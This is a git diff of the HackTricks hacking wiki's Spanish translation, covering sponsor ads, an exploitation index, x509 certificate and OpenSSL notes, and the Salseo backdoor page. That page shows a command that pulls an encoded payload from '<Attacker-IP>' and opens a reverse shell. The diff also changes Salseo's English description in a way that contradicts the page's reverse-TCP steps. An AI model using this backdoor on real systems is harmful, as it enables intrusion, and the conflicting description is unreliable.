Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 152 KiB |
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 71 KiB |
Before Width: | Height: | Size: 71 KiB After Width: | Height: | Size: 65 KiB |
Before Width: | Height: | Size: 65 KiB After Width: | Height: | Size: 42 KiB |
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 175 KiB |
Before Width: | Height: | Size: 175 KiB After Width: | Height: | Size: 5.5 KiB |
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 7 KiB |
Before Width: | Height: | Size: 7 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 223 KiB |
Before Width: | Height: | Size: 223 KiB After Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 90 KiB |
Before Width: | Height: | Size: 90 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 172 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 10 KiB |
After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 38 KiB |
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 795 KiB |
Before Width: | Height: | Size: 795 KiB After Width: | Height: | Size: 104 KiB |
Before Width: | Height: | Size: 104 KiB After Width: | Height: | Size: 17 KiB |
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 68 KiB |
Before Width: | Height: | Size: 68 KiB After Width: | Height: | Size: 154 KiB |
Before Width: | Height: | Size: 154 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 14 KiB |
Before Width: | Height: | Size: 14 KiB After Width: | Height: | Size: 53 KiB |
Before Width: | Height: | Size: 53 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 1 MiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 407 KiB |
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 74 KiB |
43
README.md
|
@ -8,7 +8,7 @@ _Logos y diseño de movimiento de Hacktricks por_ [_@ppiernacho_](https://www.in
|
|||
**¡Bienvenido al wiki donde encontrarás cada truco/técnica de hacking/lo que sea que haya aprendido de CTFs, aplicaciones de la vida real, investigaciones y noticias!**
|
||||
{% endhint %}
|
||||
|
||||
Para comenzar, sigue esta página donde encontrarás el **flujo típico** que **debes seguir al hacer pentesting** en una o más **máquinas:**
|
||||
Para comenzar, sigue esta página donde encontrarás el **flujo típico** que **deberías seguir al hacer pentesting** en una o más **máquinas:**
|
||||
|
||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
|
@ -30,9 +30,9 @@ Puedes revisar su **blog** en [**https://blog.stmcyber.com**](https://blog.stmcy
|
|||
|
||||
### [RootedCON](https://www.rootedcon.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro crucial para profesionales de la tecnología y ciberseguridad en todas las disciplinas.
|
||||
[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro crucial para profesionales de tecnología y ciberseguridad en todas las disciplinas.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -40,11 +40,11 @@ Puedes revisar su **blog** en [**https://blog.stmcyber.com**](https://blog.stmcy
|
|||
|
||||
### [Intigriti](https://www.intigriti.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** es la plataforma de ethical hacking y **bug bounty #1** de Europa.
|
||||
**Intigriti** es la plataforma de ethical hacking y **bug bounty #1 de Europa**.
|
||||
|
||||
Consejo de bug bounty: ¡Regístrate en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**! ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!
|
||||
**Consejo de bug bounty**: ¡Regístrate en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, ¡y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -52,7 +52,7 @@ Consejo de bug bounty: ¡Regístrate en **Intigriti**, una plataforma premium de
|
|||
|
||||
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.
|
||||
|
@ -78,13 +78,13 @@ Mantente al día con el mundo del hacking a través de noticias e información e
|
|||
**Últimos Anuncios**\
|
||||
Mantente informado sobre los nuevos bug bounties que se lanzan y las actualizaciones cruciales de la plataforma
|
||||
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
|
||||
|
||||
***
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - El kit de herramientas esencial para pruebas de penetración
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuración instantáneamente disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta un pentest completo desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, obtener shells y divertirse.
|
||||
|
||||
|
@ -92,6 +92,24 @@ Mantente informado sobre los nuevos bug bounties que se lanzan y las actualizaci
|
|||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApi ofrece APIs en tiempo real rápidas y fáciles para **acceder a los resultados de los motores de búsqueda**. Raspan los motores de búsqueda, manejan proxies, resuelven captchas y analizan todos los datos estructurados ricos por ti.
|
||||
|
||||
Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para raspar diferentes motores de búsqueda, incluidos Google, Bing, Baidu, Yahoo, Yandex, y más.
|
||||
|
||||
A diferencia de otros proveedores, SerpApi no solo raspa resultados orgánicos. Las respuestas de SerpApi incluyen consistentemente todos los anuncios, imágenes y videos en línea, gráficos de conocimiento y otros elementos y características presentes en los resultados de búsqueda.
|
||||
|
||||
Los clientes actuales de SerpApi incluyen Apple, Shopify y GrubHub.
|
||||
|
||||
Para obtener más información, consulta su [blog](https://serpapi.com/blog/)**,** o prueba un ejemplo en su [**playground**](https://serpapi.com/playground)**.**
|
||||
|
||||
Puedes **crear una cuenta gratuita** [**aquí**](https://serpapi.com/users/sign\_up)**.**
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -104,17 +122,16 @@ Mantente informado sobre los nuevos bug bounties que se lanzan y las actualizaci
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) es una empresa profesional de ciberseguridad con sede en **Ámsterdam** que ayuda a **proteger** a las empresas **en todo el mundo** contra las últimas amenazas de ciberseguridad mediante la provisión de servicios de seguridad ofensiva con un enfoque **moderno**.
|
||||
[**WebSec**](https://websec.nl) es una empresa de ciberseguridad profesional con sede en **Ámsterdam** que ayuda a **proteger** empresas **en todo el mundo** contra las últimas amenazas de ciberseguridad al proporcionar servicios de **seguridad ofensiva** con un enfoque **moderno**.
|
||||
|
||||
WebSec es una empresa de seguridad integral, lo que significa que hacen de todo; Pentesting, Auditorías de Seguridad, Entrenamientos de Concienciación, Campañas de Phishing, Revisión de Código, Desarrollo de Exploits, Externalización de Expertos en Seguridad y mucho más.
|
||||
WebSec es una empresa de seguridad integral, lo que significa que hacen de todo; Pentesting, Auditorías de Seguridad, Entrenamientos de Conciencia, Campañas de Phishing, Revisión de Código, Desarrollo de Exploits, Subcontratación de Expertos en Seguridad y mucho más.
|
||||
|
||||
Otra cosa genial sobre WebSec es que, a diferencia del promedio de la industria, WebSec tiene **mucha confianza en sus habilidades**, hasta el punto de que **garantizan los mejores resultados de calidad**, lo que se indica en su sitio web "**¡Si no podemos hackearlo, no lo pagas!**". Para obtener más información, echa un vistazo a su [**sitio web**](https://websec.nl/en/) y [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
Además de lo anterior, WebSec también es un **apoyo comprometido de HackTricks**.
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
## Licencia y Descargo de Responsabilidad
|
||||
## Licencia y Descargo de responsabilidad
|
||||
|
||||
**Revísalos en:**
|
||||
|
||||
|
|
20
SUMMARY.md
|
@ -695,20 +695,26 @@
|
|||
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
|
||||
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
|
||||
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
|
||||
* [Ret2Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md)
|
||||
* [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md)
|
||||
* [Leaking libc address with ROP](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md)
|
||||
* [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
|
||||
* [EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ebp2ret-ebp-chaining.md)
|
||||
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
|
||||
* [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
|
||||
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
|
||||
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
|
||||
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
|
||||
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
|
||||
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/relro.md)
|
||||
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
|
||||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
|
||||
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
|
||||
* [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md)
|
||||
* [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md)
|
||||
* [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
|
||||
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
|
||||
* [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
|
||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
|
||||
* [Exploiting Tools](exploiting/tools/README.md)
|
||||
* [PwnTools](exploiting/tools/pwntools.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
|
|
|
@ -7,8 +7,8 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
|
@ -18,7 +18,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
Descarga el código fuente desde github y compila **EvilSalsa** y **SalseoLoader**. Necesitarás tener **Visual Studio** instalado para compilar el código.
|
||||
|
||||
Compila esos proyectos para la arquitectura de la máquina Windows donde los vas a utilizar (si Windows soporta x64, compílalos para esa arquitectura).
|
||||
Compila esos proyectos para la arquitectura de la máquina Windows donde los vas a utilizar (Si Windows soporta x64, compílalos para esa arquitectura).
|
||||
|
||||
Puedes **seleccionar la arquitectura** dentro de Visual Studio en la pestaña **"Build"** en **"Platform Target".**
|
||||
|
||||
|
@ -43,7 +43,7 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
|
|||
|
||||
#### Salseo
|
||||
|
||||
Salseo is a backdoor that allows an attacker to execute shell commands on a compromised system. It is written in C# and uses a TCP connection for communication. Salseo can be compiled into an executable file and executed on the target system to establish a reverse shell. The attacker can then interact with the compromised system through a command-line interface.
|
||||
Salseo is a backdoor that allows an attacker to execute shell commands on a compromised system. It is written in C# and uses the .NET framework. Salseo can be compiled into an executable file and executed on the target system. The backdoor communicates over HTTP and can receive commands to execute shell commands, upload and download files, and more.
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
|
@ -54,9 +54,9 @@ Ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: el **
|
|||
|
||||
## **Ejecutar la puerta trasera**
|
||||
|
||||
### **Obteniendo una shell inversa TCP (descargando dll codificada a través de HTTP)**
|
||||
### **Obteniendo un shell inverso TCP (descargando el dll codificado a través de HTTP)**
|
||||
|
||||
Recuerda iniciar un nc como oyente de la shell inversa y un servidor HTTP para servir el EvilDalsa codificado.
|
||||
Recuerda iniciar un nc como oyente de shell inverso y un servidor HTTP para servir el EvilDalsa codificado.
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
|
@ -91,13 +91,13 @@ Abre el proyecto SalseoLoader usando Visual Studio.
|
|||
|
||||
### Agrega antes de la función principal: \[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### Instala DllExport para este proyecto
|
||||
|
||||
#### **Herramientas** --> **Gestor de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **Busca el paquete DllExport (usando la pestaña Examinar) y presiona Instalar (y acepta el mensaje emergente)**
|
||||
|
||||
|
@ -117,7 +117,7 @@ Simplemente **sal** de Visual Studio
|
|||
|
||||
Luego, ve a tu **carpeta de SalseoLoader** y **ejecuta DllExport\_Configure.bat**
|
||||
|
||||
Selecciona **x64** (si lo vas a usar dentro de un sistema x64, que fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Namespace for DllExport**) y presiona **Aplicar**
|
||||
Selecciona **x64** (si lo vas a usar dentro de una caja x64, ese fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Espacio de nombres para DllExport**) y presiona **Aplicar**
|
||||
|
||||
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
||||
|
||||
|
@ -175,7 +175,7 @@ rundll32.exe SalseoLoader.dll,main
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
|
@ -36,9 +36,9 @@ En los certificados x509, varios **campos** desempeñan roles críticos para gar
|
|||
|
||||
* El **Número de Versión** indica la versión del formato x509.
|
||||
* El **Número de Serie** identifica de forma única el certificado dentro del sistema de una Autoridad de Certificación (CA), principalmente para el seguimiento de revocaciones.
|
||||
* El campo **Sujeto** representa al propietario del certificado, que puede ser una máquina, un individuo u una organización. Incluye una identificación detallada como:
|
||||
* El campo **Sujeto** representa al propietario del certificado, que puede ser una máquina, un individuo o una organización. Incluye una identificación detallada como:
|
||||
* **Nombre Común (CN)**: Dominios cubiertos por el certificado.
|
||||
* **País (C)**, **Localidad (L)**, **Estado o Provincia (ST, S, o P)**, **Organización (O)** y **Unidad Organizativa (OU)** proporcionan detalles geográficos y organizativos.
|
||||
* **País (C)**, **Localidad (L)**, **Estado o Provincia (ST, S o P)**, **Organización (O)** y **Unidad Organizativa (OU)** proporcionan detalles geográficos y organizativos.
|
||||
* El **Nombre Distinguido (DN)** encapsula la identificación completa del sujeto.
|
||||
* El **Emisor** detalla quién verificó y firmó el certificado, incluyendo subcampos similares al Sujeto para la CA.
|
||||
* El **Período de Validez** está marcado por marcas de tiempo de **No Antes** y **No Después**, asegurando que el certificado no se use antes o después de una fecha determinada.
|
||||
|
@ -47,8 +47,8 @@ En los certificados x509, varios **campos** desempeñan roles críticos para gar
|
|||
|
||||
#### **Uso de Clave y Extensiones**
|
||||
|
||||
* **Uso de Clave** identifica las aplicaciones criptográficas de la clave pública, como firma digital o cifrado de clave.
|
||||
* **Uso Extendido de Clave** reduce aún más los casos de uso del certificado, por ejemplo, para autenticación de servidor TLS.
|
||||
* El **Uso de Clave** identifica las aplicaciones criptográficas de la clave pública, como firma digital o cifrado de clave.
|
||||
* El **Uso Extendido de Clave** reduce aún más los casos de uso del certificado, por ejemplo, para la autenticación del servidor TLS.
|
||||
* **Nombre Alternativo del Sujeto** y **Restricción Básica** definen nombres de host adicionales cubiertos por el certificado y si es un certificado de CA o de entidad final, respectivamente.
|
||||
* Identificadores como **Identificador de Clave del Sujeto** e **Identificador de Clave de Autoridad** garantizan la singularidad y trazabilidad de las claves.
|
||||
* **Acceso a la Información de la Autoridad** y **Puntos de Distribución de la Lista de Revocación (CRL)** proporcionan rutas para verificar la CA emisora y verificar el estado de revocación del certificado.
|
||||
|
@ -74,7 +74,7 @@ print(f"Issuer: {issuer}")
|
|||
print(f"Subject: {subject}")
|
||||
print(f"Public Key: {public_key}")
|
||||
```
|
||||
### **Diferencia entre Puntos de Distribución OCSP y CRL**
|
||||
### **Diferencia entre los Puntos de Distribución OCSP y CRL**
|
||||
|
||||
**OCSP** (**RFC 2560**) implica que un cliente y un respondedor trabajen juntos para verificar si un certificado de clave pública digital ha sido revocado, sin necesidad de descargar la **CRL** completa. Este método es más eficiente que la tradicional **CRL**, que proporciona una lista de números de serie de certificados revocados pero requiere la descarga de un archivo potencialmente grande. Las CRL pueden incluir hasta 512 entradas. Más detalles están disponibles [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
|
||||
|
||||
|
@ -88,11 +88,11 @@ La Transparencia de Certificados ayuda a combatir las amenazas relacionadas con
|
|||
|
||||
#### **Registros de Certificados**
|
||||
|
||||
Los registros de certificados son registros públicamente auditables y de solo anexión de certificados, mantenidos por servicios de red. Estos registros proporcionan pruebas criptográficas con fines de auditoría. Tanto las autoridades de emisión como el público pueden enviar certificados a estos registros o consultarlos para su verificación. Aunque el número exacto de servidores de registro no está fijo, se espera que sea inferior a mil a nivel mundial. Estos servidores pueden ser gestionados de forma independiente por Autoridades de Certificación, proveedores de servicios de Internet o cualquier entidad interesada.
|
||||
Los registros de certificados son registros públicamente auditables y de solo adición de certificados, mantenidos por servicios de red. Estos registros proporcionan pruebas criptográficas con fines de auditoría. Tanto las autoridades de emisión como el público pueden enviar certificados a estos registros o consultarlos para su verificación. Aunque el número exacto de servidores de registro no está fijo, se espera que sea inferior a mil a nivel mundial. Estos servidores pueden ser gestionados de forma independiente por Autoridades de Certificación, proveedores de servicios de Internet o cualquier entidad interesada.
|
||||
|
||||
#### **Consulta**
|
||||
|
||||
Para explorar los registros de Transparencia de Certificados de cualquier dominio, visita [https://crt.sh/](https://crt.sh).
|
||||
Para explorar los registros de Transparencia de Certificados para cualquier dominio, visita [https://crt.sh/](https://crt.sh).
|
||||
|
||||
## **Formatos**
|
||||
|
||||
|
@ -158,6 +158,14 @@ openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
|||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
2. Convertir PEM a PKCS8
|
||||
|
||||
Para convertir un archivo PEM a formato PKCS8, puedes utilizar la herramienta OpenSSL con el siguiente comando:
|
||||
|
||||
```bash
|
||||
openssl pkcs8 -topk8 -inform PEM -outform DER -in archivo.pem -out archivo.pk8 -nocrypt
|
||||
```
|
||||
|
||||
Esto convertirá el archivo PEM a formato PKCS8 y lo guardará como archivo.pk8 en formato DER.
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
|
@ -172,23 +180,23 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
|
|||
```
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
